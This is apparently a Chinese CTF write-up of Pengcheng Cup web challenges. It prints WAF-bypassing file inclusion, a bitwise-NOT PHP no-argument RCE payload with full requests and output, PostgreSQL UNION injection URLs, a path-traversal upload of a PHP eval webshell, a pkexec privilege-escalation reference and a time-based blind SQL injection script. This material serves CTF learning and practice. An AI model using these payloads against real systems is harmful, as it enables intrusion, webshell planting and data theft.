鹏城杯这次比赛,呃呃。

一开始看不到一小时,就做出来一题,以为后面能继续搞的,没想到每道 web 都进行到一半就不知道咋做了


下面是做出来的唯一一题
这一题之后,是我进行复现的 n 题

简单包含

题目给了这样的一小段代码

1
2
3
4
<?php
highlight_file(__FILE__);
include($_POST['flag']);
//flag in /var/www/html/flag.php

尝试包含/etc/passwd,发现有 waf,会拦截比如说/etc/passwdflag这些参数,想要php://filter更是不行

当时折腾了一会,还想要远程文件包含,发现好像也不行

换一个思路,去读取配置文件。站点是 nginx,所以读/etc/nginx/nginx.conf

读到一段阿巴阿巴的配置文件,发现有多出来的一段

1
2
3
4
5
6
# lua_waf
lua_package_path "/etc/nginx/conf.d/waf/?.lua";
lua_shared_dict limit 10m;
init_by_lua_file /etc/nginx/conf.d/waf/init.lua;
access_by_lua_file /etc/nginx/conf.d/waf/waf.lua;
include /etc/nginx/conf.d/*.conf;

然后那时候有去读取了

1
2
3
/etc/nginx/conf.d/waf/?.lua
/etc/nginx/conf.d/waf/init.lua
/etc/nginx/conf.d/waf/waf.lua

这几个文件里面有一个很大,应该是 waf 的一些规则,我哪有时间看这些规则咋搞
直接百度查绕lua_waf

https://blog.csdn.net/weixin_54771278/article/details/117390688
学到了,脏数据绕过嘛
于是有了如下操作,


下面是复现的题,能复现几道就几道吧

简单的 php

还是一道要绕过,但是比赛的时候想到的是取反绕过,可是怎么写都写不成,放弃了

再来看一看题目

1
2
3
4
5
6
7
8
9
10
 <?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);

}
?>

看了一下别人的 wp,,,果然是取反绕过
呃呃,可是为啥是中括号

1
2
3
4
5
6
7
8
9
GET /?code=[~%8C%86%8C%8B%9A%92][~%CF]([~%9A%91%9B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]())); HTTP/1.1
Host: 192.168.1.111:8220
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: cat /ffffflaggg

使用一下代码,一次把上面的取反 urlencode解码出来

1
2
3
<?php
echo ~urldecode('%8C%86%8C%8B%9A%92');
?>

[system][0]([end][0]([getallheaders][0]()))
是一个无参 rce+变形

发包:

1
2
3
4
5
6
7
8
9
10
11
GET /ttest.php?a=[system][0]([end][0]([getallheaders][0]())); HTTP/1.1
cmd:ls
Host: 192.168.64.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 2

返回包:
打通了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
HTTP/1.1 200 OK
Date: Mon, 04 Jul 2022 02:52:08 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/7.0.12
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 906

[system][0]([end][0]([getallheaders][0]()));<br/>array(10) {
["Content-Length"]=>
string(1) "2"
["Connection"]=>
string(5) "close"
["Accept-Language"]=>
string(23) "zh-CN,zh;q=0.9,en;q=0.8"
["Accept-Encoding"]=>
string(13) "gzip, deflate"
["Accept"]=>
string(135) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
["User-Agent"]=>
string(111) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
["Upgrade-Insecure-Requests"]=>
string(1) "1"
["Cache-Control"]=>
string(9) "max-age=0"
["Host"]=>
string(12) "192.168.64.1"
["Cmd"]=>
string(2) "ls"
}
<br/>HCTF2017-babycrack
csrf-json-iframe.html
csrf-json.html
demo.php
html
pentest
phar
seria.php
shell-upload.html
src
test.php
tqlctf2022
ttest.php
upload
upload.html

经过调试后,发现注意几个点

  • [system][0]:相当于数组取 0 号位
    • 同理:[eee,system][1]:也能取到 system
  • end(getallheaders())取请求头中最后一个元素
    • 不过是倒过来的,即:cmd:ls 得写到HOST之前
    • 额,可是别人 wp 里把cmd:ls写到最后去了呀,不管了实战做题肯定本地和远程都得试一试吧
  • 正则里铺一点是可以这么写的

Easygo

比赛时看出是一个路由处的 sql 注入,搞了半天,只查了当前库,注出表名字段名数据,还是没看见 flag(大哭.jpg)
那时候甚至还想load_file() outfile来读写文件,错付了

我还辛辛苦苦上网百度postgresql 数据库怎么 sql 注入,真就不如一个 sqlmap

1
2
3
4
5
6
7
8
http://127.0.0.1:8080/juice/5'UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema = 'public'--
# {"result":[{"ID":1,"Name":"super_secret_table"},{"ID":1,"Name":"juice"}]}

http://localhost:8080/juice/5'UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='super_secret_table'--
# {"result":[{"ID":1,"Name":"flag"}]}

http://localhost:8080/juice/5'UNION SELECT 1,flag FROM super_secret_table--
# {"result":[{"ID":1,"Name":"PCL{*********}"}]}

以上是 dalao 博客里写的

哈??明明就在一个库里,我怎么没记得我见到另一张叫做super_secret_table的表?

  • 我太菜了

$我太菜了$

我太菜了

看了别人 wp,用一个 sqlmap 就跑出来了。。。。。。

1
2
3
4
5
6
7
8
9
10
11
12
func (cs *CtfService) Get(c *gin.Context) {
id := c.Param("id")
var juices []Juice
query := fmt.Sprintf("SELECT * FROM juice WHERE id = '%s'", id)
rows, err := cs.Db.Query(query)
if err != nil {
if err == sql.ErrNoRows {
c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
} else {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
}
}

截取部分代码,可见这一段就是啥都没有过滤,早知道我也拿 sqlmap 了

又发现个瓜???????

高手高手高高手

题目给了提示是.git 泄露
GitHacker 扫了下来,然后还得

1
2
git log
git reset --hard HEAD^

还原被删除的代码
然后 admin.php 用弱密码 admin/123456 进去了


全局搜索version,找到版本号。在上网站https://www.exploit-db.com/去查 CVE 漏洞
然后我比赛时对着这个 SQL 延时注入搞了好久,555,好多时间都花到那上面去了


可以查到一个 RCE,那就是这个 RCE!
而且已经有 payload 了了了了了

diff 源码,发现有改动,过滤了 id 的../,通过..././绕过

1
2
3
4
5
6
7
8
9
10
11
12
POST //navigate_upload.php?session_id=fhgaqttnvp4smtgpc529mga0j3&engine=picnik&id=..././..././..././navigate_info.php HTTP/1.1
Host: 192.168.1.116
Content-Length: 212
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKIUbTficeOAkmEbn
Connection: close

------WebKitFormBoundaryKIUbTficeOAkmEbn
Content-Disposition: form-data; name="file"; filename="aaaaaa.php"
Content-Type: image/jpeg

<?php eval($_POST['aac']);?>
------WebKitFormBoundaryKIUbTficeOAkmEbn--

传小马,连接虚拟终端之后,还要

  1. suid 提权
    1. pkexec cve 提权,https://github.com/arthepsy/CVE-2021-4034
  2. 执行根目录下的I_want_capture_the_flag程序
    1. 直接执行不了。还要。。。。
    2. 下载这个文件到本地 ida 打开分析
    3. 分析可知:当 web 根目录下不存在bocai.htmlbocai.png时读取/root/flag进行解密后输出
    4. 要删除的两个文件有ia特殊属性。rm -rf 或者 chattr -i chattr -a

chattr +i /etc/resolv.conf 防止系统中某个关键文件被修改
chattr -i /etc/resolv.conf > chattr +a /var/log/messages 让某个文件只能往里面追加数据,但不能删除,适用于各种日志文件
chattr -a /var/log/messages >lsattr 查看文件的第二扩展文件系统属性

diff 两个文件夹下的代码,像这样子
diff -Naur <dir1> <dir2>

顺便贴一个我当时搞错方向,以为是 SQL 注入拿数据的 payload 吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from unittest import result
import requests
import time

result=""

# for i in range(500,650):
for i in range(200,300):
low=32
high=127
mid=(low+high)//2
while(low<high):
url="http://192.168.1.116/navigate.php?_bogus=1592542677572&act=items_order&category==(select(0)from(select(sleep(0)))v)/*%%27%%2B(select(0)from(select(sleep(0)))v)%%2B%%27%%22%%2B(select(0)from(select(sleep((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%s,1))>%s)*2)))v)%%2B%%22*/&fid=items"%(i,mid)
# url="http://192.168.1.116/navigate.php?_bogus=1592542677572&act=items_order&category==(select(0)from(select(sleep(0)))v)/*%%27%%2B(select(0)from(select(sleep(0)))v)%%2B%%27%%22%%2B(select(0)from(select(sleep((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())and(table_name)='exploit_table'),%s,1))>%s)*2)))v)%%2B%%22*/&fid=items"%(i,mid)
# url="http://192.168.1.116/navigate.php?_bogus=1592542677572&act=items_order&category==(select(0)from(select(sleep(0)))v)/*%%27%%2B(select(0)from(select(sleep(0)))v)%%2B%%27%%22%%2B(select(0)from(select(sleep((ascii(substr((select(txt)from(exploit_table)),%s,1))>%s)*1)))v)%%2B%%22*/&fid=items"%(i,mid)
headers={
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
}
cookie={
"navigate-tinymce-scroll":"%7B%7D",
"NVSID_7da51544":"jb4dplv18fgesfvpvtu91pqt22",
"PHPSESSID":"jb4dplv18fgesfvpvtu91pqt22",
"navigate-session-id":"jb4dplv18fgesfvpvtu91pqt22",
"navigate-language":"en",
}

start_time=time.time()
requests.get(url,headers=headers,cookies=cookie)
if time.time() - start_time > 2:
low=mid+1
else:
high=mid
mid=(low+high)//2
if(chr(mid)==" "):
break
result+=chr(mid)
print(result)

后台数据库表名五百多条,差点都被我扒拉下来了。还是没见到 flag 痕迹
我是多么想赢呀.jpg